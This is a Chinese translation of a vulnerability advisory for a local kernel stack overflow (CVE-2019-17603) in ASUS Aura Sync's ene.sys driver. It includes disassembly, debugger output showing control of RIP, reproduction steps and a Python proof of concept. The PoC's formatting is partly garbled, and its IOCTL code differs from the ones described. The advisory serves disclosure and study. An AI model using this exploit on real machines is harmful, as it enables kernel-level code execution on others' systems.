华硕Aura Sync中基于堆栈的缓冲区溢出漏洞分析

  • A+
所属分类:逆向工程

译文声明
本文是翻译文章,文章原作者dhn,文章来源:https://zer0-day.pw
原文地址:https://zer0-day.pw/2020-06/asus-aura-sync-stack-based-buffer-overflow/#vulnerability

0x01:详细信息

Advisory: ASUS Aura Sync 1.07.71
ene.sys Stack-Based Buffer Overflow
Advisory ID: DH-ADV-2019-001
CVE ID: CVE-2019-17603
Revision: 1.1
Last Modified: 2019/10/14
Date Reported: 2019/09/08
Advisory Published: 2020/06/01
Affected Software: Asus Aura Sync
Remotely Exploitable: No
Locally Exploitable: Yes
Vendor URL: https://www.asus.com/

0x02:漏洞概述

Aura Sync1.07.71版本中附带的内核驱动程序ene.sys在处理IOCTL请求时,存在漏洞。利用此漏洞可能导致:

本地拒绝服务攻击(因内核崩溃而导致系统崩溃)
内核级别的任意代码执行(危害系统安全)

在攻击时,您只需要构造特殊的IOCTL请求即可,并不需要特殊的用户权限。

0x03:漏洞细节

IOCTL分别在0x80102044,0x80102050和0x80102054地址处调用ene.sys内核驱动程序,接收用户提供但未经验证的输入。因此,可以使用特定值填充不同的内核寄存器。通过控制内核执行流来实现任意代码执行的目的。

反汇编ene.sys(Windows 10 64位版本)在0x80102050处的IOCTL调用:
[...]
.text:00000000000111AA cmp r11d, 80102050h
[...]
.text:000000000001132B lea rcx, [rsp+68h+Dst] ; Dst
.text:0000000000011330 mov r8, rbx ; Size <- [1]
.text:0000000000011333 mov rdx, rbp ; Src <- [2]
.text:0000000000011336 call memmove ; CALL <- [3]
.text:000000000001133B movzx r11d, byte ptr [rsp+68h+Dst+6]
.text:0000000000011341 sub r11d, 1
.text:0000000000011345 jz short loc_1136D
[...]

[1]由用户可控的缓冲区大小被复制到r8寄存器,缓冲区中的内容[2]被复制到RDX中。函数遵循fastcall调用约定,但未对输入进行任何的验证。

[3]中的memmove函数参数:
memmove(RCX, RDX, R8);
| | |
dst | |
src len

RCX (dst):通过控制流定义
RDX(src):指向用户可控的IOCTL输入数据/缓冲区
R8 (len):取决于缓冲区大小

漏洞

如果攻击者可以构造一个较大的缓冲区(48 bytes),则在调用memmove()时,会导致内存损坏(堆栈溢出)的问题

利用

步骤1:利用ene.sys中用户可控的缓冲区,进入内核空间。同时,对部分寄存器和返回地址进行覆盖。

步骤2: 通过向易受攻击的IOCTL填充构造好的payload,原返回地址会被偏移量为0x30地址覆盖,实现对程序执行流的劫持。

可利用的gadget:
.text:0000000000011487 mov ebx, [rdi+30h]
[...]
.text:00000000000114A1 lea r11, [rsp+68h+var_8]
.text:00000000000114A6 mov eax, ebx
.text:00000000000114A8 mov rbx, [r11+10h]
.text:00000000000114AC mov rbp, [r11+20h]
.text:00000000000114B0 mov rsi, [r11+28h]
.text:00000000000114B4 mov rsp, r11
.text:00000000000114B7 pop rdi
.text:00000000000114B8 retn ; Trigger <- [4]
[...]

在WinDBG中(执行漏洞后内存):
ene+0x14b8:
fffff801`198d14b8 c3 ret <- [4]
1: kd> t
00000000`deadbeef ?? ??? <- [5]
1: kd> r
rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
r8=0000000000000008 r9=0000000000000065 r10=ffffa981df102e60
r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
r14=ffffa981e5e80d60 r15=ffffa981e2f84920
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
00000000`deadbeef ?? ???

[4]因为用户可控的缓冲区会作为参数传入memmove()。所以堆栈顶部的最后一个地址应保存用户可控缓冲区的地址[5]。

在此示例中,我们用’A’和‘deadbeef’来填充堆栈来验证对RIP控制的实现。事实上,您可以在内核级别进行任意代码执行。

漏洞复现

步骤1:安装ASUS Aura sync V1.07.71版本
步骤2:执行PoC
步骤3: !process 0 0 python.exe-----查找python.exe进程信息

ba e1 /p ${PROCCESSID} ene+0x14b8-----在ene+0x14b8处设置断点
步骤4:按Enter键运行程序,调试器会在ene+0x14b8地址处中断。按‘t’键执行下一条指令。
步骤5:RIP被覆盖0xdeadbeef

0x04:漏洞验证脚本(PoC)

```

!/usr/bin/python

from ctypes import *
import struct
import sys

kernel32 = windll.kernel32
ntdll = windll.ntdll
NULL = 0x00

def run():
handle = kernel32.CreateFileA("\.EneIo", 0xC0000000, 0, None,
0x3, 0, None)
if not handle or handle == -1:
sys.exit("[-] Error getting device handle")

shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef
buf = "A" * 56 + shellcode

raw_input("Press Enter to Trigger Vuln")
driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                  NULL, NULL, 0, NULL)
if not driver or driver == -1:
    sys.exit("[-] Error")

if name == "main":
run()
```

0x05:漏洞影响版本:

华硕Aura Sync <= 1.07.71

0x06:时间轴

2019/09/08:首次通过电子邮件([email protected]网站)协商安全信道
2019/09/12:华硕安全团队回应并要求提供更多信息
2019/09/12:将漏洞报告给ASUS Security团队
2019/09/18:华硕安全团队确认该漏洞
2019/10/13:通过MITRE 申请CVE ID; CVE-2019-17603
2019/10/15:发送在Windows 10 x64上运行的PoC
2020/01/10:漏洞修复(v1.07.79);

0x07:资源

[1]
华硕Aura Sync:https://www.asus.com/campaign/aura/us/download.html

[2]
Microsoft-x64调用约定:https://docs.microsoft.com/zh-cn/cpp/build/x64-calling-convention?view=vs-2019

相关推荐: 隐写术总结--CTF指南

一、图片隐写术1.图种例如一个zip压缩包(1.zip)+一个jpg图片(4fcefdaba56019d77b476e30a5558b47.jpg)结合为一张图片(output.jpg) 以下为Windows命令:C:Userslenovo>c…